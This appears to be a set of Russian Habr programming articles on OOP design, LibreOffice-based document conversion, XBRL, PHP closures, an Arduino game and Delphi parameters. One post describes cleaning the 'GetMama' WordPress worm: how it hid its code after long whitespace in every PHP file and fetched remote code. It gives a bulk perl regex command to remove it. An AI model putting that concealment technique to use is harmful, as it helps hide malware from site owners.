Фаулер решает это проблему перекладывая ее целиком и полностью на плечи ООП. Он вводит понятие Rich Data Model, которое является ни чем иным, как честным совмещением данных и методов в одном классе, что и есть одна из основ ООП. Rich Data Model для нашей системы будет выглядеть следующим образом:
```
class VisaRequest{
Collection applicants
def create(){...}
def update(){...}
def get(){}
def submit(){...}
}
class Applicant{
Contact contact
WokrInfo workInfo
def getDecision(){...}
def generateReport(){...}
def create(){...}
def update(){...}
def get(){}
}
```
Разбиение функциональности происходит по очень простому правилу: класс содержит только методы, относящиеся к сущности, которую данный класс отражает. Конечно же это определение не строгое, как, впрочем, и определение самого cohesion.
Rich Data Model удобна для ряда систем, например в случае сложных вычислений, но небольшого количества операций на сущность и слабого взаимодействия с внешней средой, однако далеко не всегда. Сему есть несколько причин, но самых главных, пожалуй, две.
Первая из них — такая модель statefull, т. е. объект имеет некоторое состояние. До тех пор, пока состояние имели только структуры данных, это не представляло никакой проблемы, однако теперь объекты, несущие функциональность системы, тоже имеют состояние. На практике это приводит к усложнению процесса создания таких объектов. Фактически, это делает весьма проблематичным использование популярных DI (Dependency Injection) контейнеров, таких как spring. Кроме того, если говорить о J2EE или WEB, никто не отменял необходимости создавать фасады (actions в spring), что приводит к новому слою функциональности, который непонятно как структурировать.
Вторая причина — в больших системах мы действительно можем иметь множество операций, применимых к одной сущности, что может породить большой класс и нам придется придумывать новую технику разбиение, усложняющую общий дизайн.
### Не классическое
Попробуем решить проблему несколько иным способом, используя все те же сервисы. Почему их? Хотя бы потому, что сервисы пользуются большой популярностью среди программистов. Возникает вопрос, как же правильно их использовать, обходя острые углы и препятствия описанные выше. На мой взгляд, самым удобным способом является разбиение по двум координатам — структуре (элементу) данных и функциональности, что должно отражаться в имени сервиса.
Следуя этому правилу, мы получим следующие сервисы для нашей системы:
```
class VisaRequestCRUDService {
def create(def visaRequest){...}
def update(def visaRequest){...}
def get(def requestId){...}
def getDecision(def requestId, def applicantName){...}
}
class VisaRequestActionService {
def submit(def requestId){...}
}
class ApplicantCRUDService{
def create(def Applicant){...}
def update(def Applicant){...}
def get(def applicantId){...}
def create(def Applicant){...}
}
class ApplicantInfoService{
def getDecision(def requestId, def applicantName){...}
def generateReport(def requestId, def applicantName){...}
}
```
Примерно так будет выглядеть диаграмма классов:
Преимущества такого подхода достаточно очевидны. Во-первых, мы имеем практически все плюсы, что и при использовании Rich Data Model, только вместо одного класса у нас будет два, что уменьшает связность, что есть хорошо. Во-вторых, мы явно указываем механизм (правило) дальнейшего улучшения cohesion, что сводит к минимуму загрязнения системы.
Есть еще один, не совсем очевидный плюс. Модель данных не всегда совпадает с доменной моделью, при этом операции всегда принадлежат доменной модели. Приведенное выше решение позволяет отразить различия между этими двумя моделями на координате функционала. Для примера давайте вспомним про летающих обезьян. Исходя из требований, у них нет никаких характеристик, т. е. нам не надо хранить о них никакой информации и соответственно им нечего делать в модели данных. С другой стороны, они есть в доменной модели, что мы может отразить в сервисе, зависящим от класса VisaRequest:
```
class FlyApesRequestDeliveryService{
def deliver(def Request){...}
}
```
Конечно, у описанного подхода есть и минусы. Та же гибкость разбиения по координате функционала рождает неочевидность этого разбиения. Разработчик должен иметь четкое представление о типе системы и наборе выполняемых операций (хотя бы на уровне бизнес требований), чтобы грамотно использовать данный дизайн.
Вместо заключения
-----------------
Я думаю с cohesion все более или менее понятно, а что же с enterprise? Корпоративные приложения интересны тем, что над ними, как правило, работают несколько команд, возможно разбитых географически. Много команд — много людей, много людей — много вопросов. Где и как реализовать новый функционал? Есть ли в системе похожий? Новый разработчик — новый подход.
Все это рождает множество проблем, однако, самой сложной с технической точки зрения является грязный код (а плохая структура классов это один из ярких примеров грязного кода). Систему с грязным кодом довольно часто проще переписать, чем исправить. Я уверен, что далеко не все со мной согласятся, но я бы сказал, что cohesion, таким образом, является одним из главных показателей здоровья системы.
Пожалуй, на этом следует закончить. Надеюсь статья будет кому-нибудь полезна, но если описанные выше проблемы вам не знакомы, вы знаете, что такое эволюционный дизайн и он работает в вашей команде — забудьте все, что здесь написано, вы уже в стране Ос. | https://habr.com/ru/post/241943/ | null | ru | null |
# Делаем визуальный web-редактор документов на основе LibreOffice, jodconverter и TinyMCE
С написания предыдущей [статьи](http://habrahabr.ru/post/183990/) про генерацию Excel документов по шаблону прошло много времени и задача несколько изменилась. Новая задача была поставлена следующим образом: из готового документа excel или word сделать шаблон через веб-интерфейс. В процессе формирования подставлять в шаблон нужные значения, убирать и/или «клонировать» куски шаблона. После формирования, документ должен быть доступен пользователю для визуального редактирования в браузере. Готовый документ должен сохраниться на сервере, быть доступным для скачивания пользователем как в своём расширении (\*.doc/\*.xls), так и в pdf. При этом верстка скачиваемого файла должна быть идентична шаблону, который был загружен в самом начале (без всяких искажений полей и областей печати).
Что же, задача есть — будем решать!
**1. Испробованные инструменты**
Сначала нужно решить, чем перегонять загружаемые файлы из doc, docx, xls, xlsx в html и обратно, при этом не испортив вёрстку.
**Apache POI:** Отличный инструмент, который мы успешно использовали, но он не умеет генерировать HTML разметку из существующего документа.
**DocX4J:** С этой либой была долгая история. Она умеет много всяких приятных вещей, о которых неоднократно писалось. И изначально мы именно этой библиотекой и хотели воспользоваться.
Недостатки DocX4J: работать можно только с docx и xlsx. Но это не так страшно. Проблемы начинаются, когда пытаешься HTML обратно сконвертировать в docx или xlsx. Едут все стили документа, шрифты прописываются вообще произвольные и т.д. Обратились к разработчику. Он сказал, что есть такая проблема и решена она частично в платной версии — docx4j-web-editor. Но и платная версия тоже со своими багами оказалась. В конце коцов от этой библиотеки тоже пришлось отказаться.
**Решение** — использовать LibreOffice. Пусть он сам на сервере конвертирует файлы в HTML и обратно. Осталось только связать его с нашим web-приложением.
Для работы с LibreOffice используется маленькая библиотека — [jodconverter](https://github.com/mirkonasato/jodconverter), которая, к сожалению, давно не обновляется, но работает при этом отлично. Она подключается к LibreOffice через TCP сокет и отдает ему файл на конвертирование, в ответ приходит отконвертированный файл. Все это работает гораздо быстрее и правильнее чем все вышеперечисленные Java библиоткеи. Кроме того, LibreOffice работает в своем процессе, освобождая Java приложение от такой грамоздкой задачи, как разбор и хранение документа в куче web-приложения.
**2. Загружаем файл на сервер и делаем из него шаблон**
Но jodconverter умеет работать с файловой системой на сервере. Поэтому нужно передать в него из веб-приложения загружаемый файл и решить обратную задачу — сконвертировать HTML в нужного формата файл и отдать пользователю.
**Под катом небольшой класс-обёртка для jodconverter с комментариями:**[Libre.java](https://a.uchteno.com/public/dataObjects/getObject?s=s7pQmx26Zx)
```
package ru.cpro.uchteno.util;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.logging.Level;
import java.util.logging.Logger;
import org.artofsolving.jodconverter.OfficeDocumentConverter;
import org.artofsolving.jodconverter.office.ExternalOfficeManagerConfiguration;
import org.artofsolving.jodconverter.office.OfficeConnectionProtocol;
import org.artofsolving.jodconverter.office.OfficeManager;
public class Libre {//Класс для конвертирования документов
public static void doc2html(InputStream is, OutputStream os) {//конвертит doc в html
try {
File inf = File.createTempFile("doc", ".doc"); //создаем временный файл
FileOutputStream infos = new FileOutputStream(inf); //делаем из него поток
//переписываем все из входого потока в этот файл
int n = 0;
byte buff[] = new byte[1024];
while (n >= 0) {
n = is.read(buff);
if (n > 0) {
infos.write(buff, 0, n);
}
}
//закрываем все
is.close();
infos.close();
//Создаем выходной файл
File onf = File.createTempFile("doc", ".html");
//создаем конфигурацию jodconverter'а
ExternalOfficeManagerConfiguration officeConfiguration = new ExternalOfficeManagerConfiguration();
//через tcp сокет
officeConfiguration
.setConnectionProtocol(OfficeConnectionProtocol.SOCKET);
//порт
officeConfiguration.setPortNumber(2002);
//стрим по конфигу officeManager
OfficeManager officeManager = officeConfiguration
.buildOfficeManager();
//стартуем ьенеджера с имеющейся конфигурацией
officeManager.start();
//Делаем конвертор
OfficeDocumentConverter converter = new OfficeDocumentConverter(
officeManager);
//конвертируем документ через либреофис
converter.convert(inf, onf);
//останавливаем менеджера
officeManager.stop();
//Теперь перегоняем из созданного офисом файла в выходной поток
FileInputStream outfis = new FileInputStream(onf);
n = 0;
while (n >= 0) {
n = outfis.read(buff);
if (n > 0) {
os.write(buff, 0, n);
}
}
//закрываем все
outfis.close();
os.close();
//Глушим временные файлы
inf.delete();
onf.delete();
} catch (IOException ex) {
Logger.getLogger(Libre.class.getName()).log(Level.SEVERE, null, ex);
}
}
public static void doc2pdf(InputStream is, OutputStream os) {
try {
File inf = File.createTempFile("doc", ".doc");
FileOutputStream infos = new FileOutputStream(inf);
int n = 0;
byte buff[] = new byte[1024];
while (n >= 0) {
n = is.read(buff);
if (n > 0) {
infos.write(buff, 0, n);
}
}
is.close();
infos.close();
File onf = File.createTempFile("doc", ".pdf");
ExternalOfficeManagerConfiguration officeConfiguration = new ExternalOfficeManagerConfiguration();
officeConfiguration
.setConnectionProtocol(OfficeConnectionProtocol.SOCKET);
officeConfiguration.setPortNumber(2002);
OfficeManager officeManager = officeConfiguration
.buildOfficeManager();
officeManager.start();
OfficeDocumentConverter converter = new OfficeDocumentConverter(
officeManager);
converter.convert(inf, onf);
officeManager.stop();
FileInputStream outfis = new FileInputStream(onf);
n = 0;
while (n >= 0) {
n = outfis.read(buff);
if (n > 0) {
os.write(buff, 0, n);
}
}
outfis.close();
os.close();
inf.delete();
onf.delete();
} catch (IOException ex) {
Logger.getLogger(Libre.class.getName()).log(Level.SEVERE, null, ex);
}
}
public static void html2doc(InputStream is, OutputStream os) {
try {
File inf = File.createTempFile("doc", ".html");
FileOutputStream infos = new FileOutputStream(inf);
int n = 0;
byte buff[] = new byte[1024];
while (n >= 0) {
n = is.read(buff);
if (n > 0) {
infos.write(buff, 0, n);
}
}
is.close();
infos.close();
File onf = File.createTempFile("doc", ".doc");
ExternalOfficeManagerConfiguration officeConfiguration = new ExternalOfficeManagerConfiguration();
officeConfiguration
.setConnectionProtocol(OfficeConnectionProtocol.SOCKET);
officeConfiguration.setPortNumber(2002);
OfficeManager officeManager = officeConfiguration
.buildOfficeManager();
officeManager.start();
OfficeDocumentConverter converter = new OfficeDocumentConverter(
officeManager);
converter.convert(inf, onf);
officeManager.stop();
FileInputStream outfis = new FileInputStream(onf);
n = 0;
while (n >= 0) {
n = outfis.read(buff);
if (n > 0) {
os.write(buff, 0, n);
}
}
outfis.close();
os.close();
inf.delete();
onf.delete();
} catch (IOException ex) {
Logger.getLogger(Libre.class.getName()).log(Level.SEVERE, null, ex);
}
}
public static void html2docx(InputStream is, OutputStream os) {
try {
File inf = File.createTempFile("doc", ".html");
FileOutputStream infos = new FileOutputStream(inf);
int n = 0;
byte buff[] = new byte[1024];
while (n >= 0) {
n = is.read(buff);
if (n > 0) {
infos.write(buff, 0, n);
}
}
is.close();
infos.close();
File onf = File.createTempFile("doc", ".docx");
ExternalOfficeManagerConfiguration officeConfiguration = new ExternalOfficeManagerConfiguration();
officeConfiguration
.setConnectionProtocol(OfficeConnectionProtocol.SOCKET);
officeConfiguration.setPortNumber(2002);
OfficeManager officeManager = officeConfiguration
.buildOfficeManager();
officeManager.start();
OfficeDocumentConverter converter = new OfficeDocumentConverter(
officeManager);
converter.convert(inf, onf);
officeManager.stop();
FileInputStream outfis = new FileInputStream(onf);
n = 0;
while (n >= 0) {
n = outfis.read(buff);
if (n > 0) {
os.write(buff, 0, n);
}
}
outfis.close();
os.close();
inf.delete();
onf.delete();
} catch (IOException ex) {
Logger.getLogger(Libre.class.getName()).log(Level.SEVERE, null, ex);
}
}
public static void html2pdf(InputStream is, OutputStream os) {
try {
File inf = File.createTempFile("doc", ".html");
FileOutputStream infos = new FileOutputStream(inf);
int n = 0;
byte buff[] = new byte[1024];
while (n >= 0) {
n = is.read(buff);
if (n > 0) {
infos.write(buff, 0, n);
}
}
is.close();
infos.close();
File onf = File.createTempFile("doc", ".pdf");
ExternalOfficeManagerConfiguration officeConfiguration = new ExternalOfficeManagerConfiguration();
officeConfiguration
.setConnectionProtocol(OfficeConnectionProtocol.SOCKET);
officeConfiguration.setPortNumber(2002);
OfficeManager officeManager = officeConfiguration
.buildOfficeManager();
officeManager.start();
OfficeDocumentConverter converter = new OfficeDocumentConverter(
officeManager);
converter.convert(inf, onf);
officeManager.stop();
FileInputStream outfis = new FileInputStream(onf);
n = 0;
while (n >= 0) {
n = outfis.read(buff);
if (n > 0) {
os.write(buff, 0, n);
}
}
outfis.close();
os.close();
inf.delete();
onf.delete();
} catch (IOException ex) {
Logger.getLogger(Libre.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
```
**3. Работаем с шаблоном**
Когда у нас есть HTML, нужные операции над ним достаточно легко производятся с помощью velocity. Всё легко делается [по описанию](http://velocity.apache.org/engine/devel/user-guide.html).
**4. Визуальное редактирование документа**
С визуальными редакторами есть своя особенность – визуальные редакторы портят HTML-код и при обратном конвертировании вся вёрстка нашего документа будет исковеркана до неузнаваемости. В ходе экспериментов с разными редакторами пришли к тому, что TinyMCE меньше всего ~~умничает~~ коверкает разметку и на конечном результате при обратном конвертировании практически не сказывается.
В итоге методом ~~тыка~~ проб и ошибок подобрали оптимальную конфигурацию редактора:
```
tinymce.init({
selector: "textarea",
theme: "modern",
fullpage_default_doctype: "",
plugins: [
"advlist autolink lists link image charmap print preview hr anchor pagebreak",
"searchreplace wordcount visualblocks visualchars code fullscreen",
"insertdatetime media nonbreaking save table contextmenu directionality",
"emoticons template paste textcolor fullpage"
],
toolbar1: "insertfile undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image",
toolbar2: "print preview media | forecolor backcolor emoticons",
image_advtab: true
});
```
Каждый раз, чтобы сбросить содержимое редактора в DOM, не забываем делать `tinyMCE.triggerSave();`
**5. Скачиваем готовый документ**
Для этих целей опять воспользуемся библиотечкой `Libre.java`:
Конвертит html в doc — `html2doc()`
Конвертит html в docx — `html2docx()`
Конвертит html в pdf — `html2pdf()`
Вот, собственно, и всё. Будем рады, если эта статья кому-то поможет и уменьшит время, потраченное на пляски с бубном!
Материал подготовили: [akaiser](https://habrahabr.ru/users/akaiser/), [boiler5](https://habrahabr.ru/users/boiler5/). | https://habr.com/ru/post/224795/ | null | ru | null |
# XBRL: просто о сложном − Глава 6. Погружение в XBRL − Часть 4. Как облегчить жизнь
### 6.4. Как облегчить жизнь
До сих пор мы использовали только простые item-концепты. Каждый из nr\_employees-концептов мог быть интерпретирован независимо от остальных.
У такого подхода есть недостаток: если количество полов обычно ограничивается двумя, то для возраста мы могли бы иметь большее количество групп, чем три в нашем примере. Что, если бы нам понадобилось разделить возраста на 10-летние интервалы? Пришлось бы добавить новые концепты для групп 11–20, 21–30, 31–40, 41–50, 51–60 и 61–70. А при делении на 5-летние, 2-летние или даже годовые интервалы это очень быстро станет утомлять. Базы ссылок стали бы очень большими, поскольку надо было бы определять ссылки для каждого из этого множества концептов. Хотелось бы иметь более эффективный подход для подобных ситуаций.
И сегодня мы расскажем, как нам в этом могут помочь кортежи.
> *Примечание: Это не очень хороший пример. Категоризация концептов, как например по полу или возрастным группам, должна быть определена в так называемых таксономиях измерений (dimensional taxonomy), о которых мы поговорим в следующих главах.*
#### 6.4.1. Структурные изменения
Обозначенная выше проблема возникает потому, что мы включили категорию (пол, возрастная группа) в концепт *Количество сотрудников*. Что, если мы разделим их на два разных концепта?
Это приведет к следующим определениям концептов:
```
```
Теперь большинство наших концептов не может интерпретироваться независимо – например, что означает gender или nr\_employees?
Тут в игру вступают кортежи: комбинация gender с nr\_employees и комбинация age\_group с nr\_employees уже несут определенный смысл.
```
```
Кортеж представляет собой элемент со значением `tuple` атрибута `substitutionGroup`. Он содержит составной тип (`complexType`), в котором задана последовательность (`sequence`) концептов.
Для использования новых концептов-кортежей нам нужно обновить связи с базами ссылок ярлыков и презентаций.
Связи с базой презентаций должны выглядеть примерно так:
```
```
Кортежи размещаются под итоговым концептом (concept\_nr\_employees\_total) и в качестве дочерних элементов содержит входящие в него концепты.
#### 6.4.2. И как это выглядит?
Наше приложение для визуализации отчета не делает предположений о том, какой из концептов внутри кортежа можно считать *ключевым*, поэтому оно просто создает небольшую таблицу значений, столбцы которой упорядочены в соответствии с базой ссылок презентаций.
Обратите внимание, что хоть наше приложение и неплохо справляется с отображением простых кортежей, в общем случае это может быть достаточно сложной задачей. Элементы в кортежах необязательно должны ссылаться на один и тот же контекст. И кортежи могут иметь бесконечную вложенность, хотя на практике вы вряд ли такое встретите.
Это затрудняет визуализацию кортежей и обычно приводит к участию человека, когда понимание того, *что* именно нужно визуализировать, может быть использовано для определения того, *как* это лучше сделать.
---
##### Навигация по главам
* [Комментарий от переводчика](https://habrahabr.ru/post/333636/#kommentariy-ot-perevodchika)
* [Глава 1. Введение](https://habrahabr.ru/post/333636/#1-vvedenie)
* [Глава 2. Что такое XBRL?](https://habrahabr.ru/post/333656/)
* [Глава 3. Анатомия таксономии](https://habrahabr.ru/post/333738/)
* [Глава 4. Отчет XBRL](https://habrahabr.ru/post/333896/)
* [Глава 5. Открывая новые измерения](https://habrahabr.ru/post/334252/)
* [Глава 6. Погружение в XBRL](https://habrahabr.ru/post/334356/)
+ [Часть 1. Приступаем](https://habrahabr.ru/post/334356/#61-pristupaem)
+ [Часть 2. Совершенствуем результат](https://habrahabr.ru/post/335788/)
+ [Часть 3. Вычисления и валидация](https://habrahabr.ru/post/336114/)
+ [Часть 4. Как облегчить жизнь](https://habrahabr.ru/post/336230/)
+ [Часть 5. Новые измерения](https://habrahabr.ru/post/336506/)
+ [Часть 6. Многомерность](https://habrahabr.ru/post/336818/)
* [P.S. от переводчика](https://habrahabr.ru/post/336818/#ps-ot-perevodchika) | https://habr.com/ru/post/336230/ | null | ru | null |
# Борьба с WordPress-червём GetMama
Привет!
Подлый вирус GetMama пожрал кучу сайтов на вордпрессе. В том числе несколько моих. И я вам расскажу, как это почистивать сущность в виде гномика.
Началось с того, что некоторые сайты начали открываться очень долго. Причём только те, что на вордпрессе.
Я долго не мог понять, что же за беда приключилась. Обновил полностью всё ПО на сервере (думал, можнт wp какую-нибудь хитрую срань использует). Но это не помогло.
Тогда я стал искать, какая же функция выполняется так, сука, долго.
Для этого я использовал [xhprof](http://pecl.php.net/package/xhprof).
Выяснилось, что это curl\_exec.
Курл\_экзек вызывался функцией с каким-то арабским названием «ahfudflfzdhfhs»
А эта функция в свою очередь вызывала определённое количество сранья, включая GetMama
Именем этой функции и называется вирус.
Гет мама стучится на свой сервер и качает оттуда код, который выполняется уже в коде сайта.
Чобы временно спасти ситуацию, я просто добавил в начало каждого index.php моих вордпрессовских сайтов «function GetMama(){}». Это дало мне время на поиски реальной угрозы.
Никакой поиск не дал результатов. Ни «GetMama», ни «ahfudflfzdhfhs» в коде найдено не было. Это конечно не удивительно. Но удивительно, что base64\_decode тоже не попадался в неположенных местах.
Пришлось гуглить. По словам товарищей по беде getmama начиналась словами «/\*god\_mode\_on\*/», но и это вхождение я не смог найти ни в одном файле.
Я долго ломал голову, глядя на файлы, и не мог понять, где же заражённый участок.
Оказалось, что везде. Реально каждый php файл вордпресса был заражён, а я не мог этого заметить.
Когда я понял, как им это удалось, мне стало немного стыдно.
В самом начале. После «php» ребята добавляли туеву кучу пробелов, а только потом подписывали вредоносный код.<br/
Вот он: <http://pastebin.com/vER6azvS>
Теперь эта фигня ещё и /\*god\_mode\_on\*/ зашифровывала.
Но в итоге проблема решилась одним маленьким скриптом:
`find . -type f -name "*.php" -print | xargs perl -pi -e's/\/\*[a-z0-9]{32}_on\*\/.*\/\*[a-z0-9]{32}_off\*\///gi' *.php`
Пройтись по всем php файлам в каталоге с вордпрессом и удалить вирус.
Если у вас нет ssh доступа к вашему хостингу, скачайте файлы к себе и удалите код локально. Если у вас Windows, то придумайте каким образом выполнить замену регулярным выражением на кучу файлов. | https://habr.com/ru/post/143375/ | null | ru | null |
# T-Rex-duino – клон игры про динозавра из браузера Chrome для Arduino
Имея такой девайс, пользователи Firefox тоже смогут поиграть в T-Rex’а при ошибке загрузки страницы.
Начну с того, что меня заинтересовали самодельные супер минималистичные портативные игровые консоли. В частности, очень популярен вариант ATtiny85 + OLED дисплей:
[](http://webboggles.com/attiny85-game-kit-assembly-instructions/)
Вот человек уже [сделал](https://www.tinyjoypad.com/tiny-joypad) 13+ игр для такой платформы.
Забавный гаджет, но после сборки играть на нем долго не хочется. На мой вкус, имеющиеся игры недостаточно «скоростные», чтобы можно было поддерживать интерес хотя бы в течении нескольких минут. Поэтому решил сделать игрушку, в которую сам бы захотел поиграть минут 10-20 и может даже два-три раза. Благо, уже давно была на примете относительно интересная игра, затягивающая и достаточно простая для помещения в микроконтроллер.
После 4 выходных работы получился такой клон.
[Youtube видео](https://www.youtube.com/watch?v=635SnybBRD8)
К сожалению, уместиться в ROM ATtiny85 не удалось, поэтому пришлось воспользоваться классической Arduino. Сейчас даже считаю, что это более выигрышный вариант, т.к. Arduino более доступна, ее проще прошить и есть куда расширяться.
Игра имеет дополнительные «фитчи»: ти-рекс может нагибаться (хотя это не обязательно, можно просто прыгать!), добавлены «жизни» для продления геймплея.
Можно поиграться с параметрами игры (такие как скорость, частота «врагов» и подобное), многие настройки вынесены в начало скетча.
Сборка
------
В минимальном варианте понадобится Arduino Uno / Nano / Mini, OLED дисплей 128х64 на контроллере SSD1309 и одна или две кнопки. В портативном варианте нужно будет добавить аккумулятор со схемой заряда или батарейки.
Схема.
После сборки нужно прошить скетч из директории `t-rex-duino/` (ссылка на репозиторий в конце статьи).
Некоторые детали реализации
---------------------------
Привожу тут некоторые подробности, которые могут пригодится тем, кто захочет сделать свою мини-игру. Старался писать «движок» так, чтобы на нем удобно было делать игры, основанные на рендере спрайтов и детекции их «столкновений» (вообще, это чуть ли не единственные две функции «движка», на них построена вся игра). Сейчас осталось еще очень много свободных ресурсов, более 50% по производительности и памяти.
Т.к. я изначально рассчитывал на маленький микроконтроллер, в котором всего 512 байт RAM и в 2 раза меньше частота, чем у камня ардуины, для игры был написан быстрый рендер с «виртуальным» буфером, который рендерит экран по вертикальным или горизонтальным кусочкам.
Вертикальный виртуальный буфер требует минимум 128 байт памяти, а горизонтальный – от 8 байт. При этом полный буфер всего экрана занял бы 1кб. Направление рендера следует выбирать так, чтобы оно совпадало с основным направлением движения на экране (меньше искажений). В начале скетча есть переключение режима рендера, для демонстрации работы обоих вариантов.
Каждый спрайт в игре описан точкой экрана в которую нужно его отрендерить и двумя однобитными битмапами: «данные» и «маска». Эти два битмапа описывают однобитное изображение с «прозрачностью». Т.е. каждый пиксель в спрайте может быть «белым», «черным» или «прозрачным». Вместе с кодом проекта есть python-утилита `game-assets-gen/img-conv.py` конвертации png в с-массивы соответствующих битмапов. Для запуска процесса перегенерации существующих битмапов можно запустить `gen_assets.bat` находясь в `game-assets-gen/`.
Также, привожу поясняющую картинку по используемой координатной системе.
Ссылки
------
Репозиторий проекта: [github](https://github.com/AlexIII/t-rex-duino)
Доступны схема, исходники для Arduino, утилита для конвертации изображений в используемый в игре формат битмапов.
Модуль дисплея: diymore 2.42 inch 128x64 OLED Display Module SSD1309
— На этом все, спасибо за внимание! | https://habr.com/ru/post/500540/ | null | ru | null |
# Зачем нужен static при объявлении анонимных функций?
Буквально на днях пришел вопрос от одного из подписчиков касательно [одного из постов моего telegram канала](https://t.me/beerphp/14). Его смутил вот такой кусок кода
```
php
usort($firstArray, static function($first, $second) {
return $first <= $second;
});
```
Вопрос звучал так:
> Зачем делать callback’и в функции сортировки (usort), статическими?
>
>
И я подумал, что это действительно хороший вопрос, на который стоит обратить внимание.
### В чем проблема?
Начнем с определения из документации, чтобы засинхронизироваться:
> Анонимные функции, также известные как замыкания **(closures)**, позволяют создавать функции, не имеющие определённых имён. Они наиболее полезны в качестве значений [callable](https://www.php.net/manual/ru/language.types.callable.php)-параметров, но также могут иметь и множество других применений.
>
> Анонимные функции реализуются с использованием класса [Closure](https://www.php.net/manual/ru/class.closure.php).
>
>
Там-же, но это почти никто не читает :
> При объявлении в контексте класса, текущий класс будет автоматически связан с ним, делая $this доступным внутри функций класса. Если вы не хотите автоматического связывания с текущим классом, используйте статические анонимные функции.
>
>
Выходит, что когда **Сlosure** объявляется в контексте класса, то класс автоматически привязывается к замыканию. Это означает, что `$this` доступен внутри области анонимной функции:
Код, чтобы протестить самостоятельно
```
php
class ExampleTest extends TestCase
{
public function testBasicTest(): void
{
$array = [2, 1];
usort($array, function ($first, $second) {
var_dump($this);
return $first <= $second;
});
self::assertTrue(true);
}
}
```
На первый взгляд "да и чёрт с ним", но стоит копнуть чуть глубже.
Замыкание, содержащее ссылку на **$this**, может быть не обработано сборщиком мусора, что, в свою очередь, может существенно повлиять на производительность.
Вот пример без использования static:
```
php
class LargeObject {
protected $array;
public function __construct() {
$this-array = array_fill(0, 2000, 15);
}
public function getItemProcessor(): Closure {
return function () { // Внутри функции любые вычисления
$a = 1;
$b = 2;
return $a + $b;
};
}
}
function getPeakMemory(): string
{
return sprintf('%.2F MiB', memory_get_peak_usage() / 1024 / 1024);
}
$start = microtime(true);
$processors = [];
for ($i = 0; $i < 2000; $i++) {
$lo = new LargeObject();
$processors[] = $lo->getItemProcessor();
}
var_dump(getPeakMemory());
```
Как результат, мы получим `string(10) "134.10 MiB"`
Но в случае, если мы добавим **static** в 11 строке, то потребление памяти составит `string(8) "1.19 MiB"`
Всё потому, что в `processors[]` мы продолжаем накапливать массив, внутри которого находятся **Сlosures** которые связаны с классом, а значит, содержат все те данные, которые в нём хранятся.
### Выводы
Если подвести короткий итог, то анонимные функции без **static** стоит использовать если вам необходимо привязать объект к области видимости выполнения функции. Во всех остальных случаях можно и нужно использовать **static**, как минимум, чтобы случайно не выстрелить себе в ногу.
### P.S.
Часто для полноценного поста на Хабре мало короткой заметки. Такие выдержки я публикую в своем телеграм-канале <https://t.me/beerphp>. Подписывайся и сможешь получить больше интересного материала. | https://habr.com/ru/post/561550/ | null | ru | null |
# Использование процедур и функций в Delphi
Рано или поздно любому программисту потребляется использовать процедуры и функции. Все мы помним еще с паскаля, что там ничего нет сложного, но некоторые вещи обычно в книжках не описываются, хотя для грамотного составления программы требуется знать.
#### Скобки
Добавление скобок при вызове процедур и функций без параметров уже давно не является новинкой в Delphi, тем не менее, эта возможность мало известна. Эту возможность оценят по достоинству те программисты, которым приходится работать на двух языках (C++ и Delphi), так как им не нужно будет постоянно помнить о разнице в синтаксисе при вызове процедур и функций в разных языках. В Delphi оба варианта, приведенные ниже, считаются корректными.
`Form1.Show;
Form1.Show();`
#### Возможность перегрузки
Впервые концепция перегрузки процедур и функций была реализована в Delphi 4. Она позволяет иметь несколько различных процедур и функций с одинаковыми именами, но с разными списками параметров. Такие процедуры и функции должны быть описаны с применением директивы overload.
`procedure Test (I: integer); overload;
procedure Test (S: string); overload;
procedure Test (D: double); overload;`
При вызове процедуры Test, Delphi сама решит, какую из трех процедур необходимо выполнить, в зависимости от передаваемого ей параметра. Но нужно отметить, что это не самая безопасная возможность языка. Применение перегружаемых процедур и функций может стать неиссякаемым источником трудноуловимых ошибок в программе. Поэтому пользуйтесь этой возможностью осторожно.
#### Передача параметров
Pascal позволяет передавать параметры в функции и процедуры либо по значению, либо по ссылке. Передаваемый параметр может иметь любой встроенный или пользовательский тип либо являться открытым массивом. Параметр также может быть константой, если его значение в процедуре или функции не меняется.
##### Передача параметров по значению
Этот режим передачи параметров применяется по умолчанию. Если параметр передается по значению, создается локальная копия данной переменной, которая и предоставляется для обработки в процедуру или функцию. Посмотрите на следующий пример:
`procedure Test(s: string);`
При вызове указанной процедуры будет создана копия передаваемой ей в качестве параметра строки s, с которой и будет работать процедура Test. При этом все внесенные в строку изменения никак не отразятся на исходной переменной s.
Однако это не относится к объектам. Например, если в функцию передается переменная (а точнее экземпляр объекта) TStringList, то в данном случае произойдет передача по ссылке (даже если это не указано явно). Этот способ передачи является у большинства самым излюбленным, но в тоже время является и самым не практичным, т.к. для выполнения метода выделяется дополнительная память для создания точной копией передаваемой переменой. Для решения этой проблемы следует использовать один из способов описанных ниже.
##### Передача параметров по ссылке
Pascal позволяет также передавать параметры в функции или процедуры по ссылке — такие параметры называются параметрами-переменными. Передача параметра по ссылке означает, что функция или процедура сможет изменить полученные значения параметров. Для передачи параметров по ссылке используется ключевое слово var, помещаемое в список параметров вызываемой процедуры или функции.
`procedure ChangeMe(var x: longint);
begin
x := 2; // Параметр х изменен вызванной процедурой
end;`
Вместо создания копии переменной x, ключевое слово var требует передачи адреса самой переменной x, что позволяет процедуре непосредственно изменять ее значение.
##### Передача параметров констант
Если нет необходимости изменять передаваемые функции или процедуре данные, можно описать параметр как константу. Ключевое слово const не только защищает параметр от изменения, но и позволяет компилятору сгенерировать более оптимальный код передачи строк и записей. Вот пример объявления параметра-константы:
`procedure Test(const s: string );`
##### Передача открытых массивов
Открытый массив параметров позволяет передавать в функцию или процедуру различное количество параметров. В качестве параметров можно передать либо открытый массив элементов одинакового типа, либо массивы констант различного типа. В приведенном ниже примере объявляется функция, которой в качестве параметра должен передаваться открытый массив целых чисел.
`function AddEmUp(A: array of integer): integer;`
В открытом массиве можно передавать переменные, константы или выражения из констант.
Для получения информации о фактически передаваемом массиве параметров в функции или процедуре могут использоваться функции High, Low и SizeOf.
Object Pascal также поддерживает тип array of const, который позволяет передавать в одном массиве данные различных типов. Синтаксис объявления функций или процедур, использующих такой массив для получения параметров, следующий:
`procedure WhatHaveIGot( A: array of const );`
Вызвать объявленную выше функцию можно, например, с помощью такого оператора:
`procedure WhatHaveIGot( ['Text', 10, 5.5, @WhatHaveIGot, 3.14, true, 'c'] );`
При передаче функции или процедуре массива констант все передаваемые параметры компилятор неявно конвертирует в тип TVarRec. Тип данных TVarRec объявлен в модуле System следующим образом:
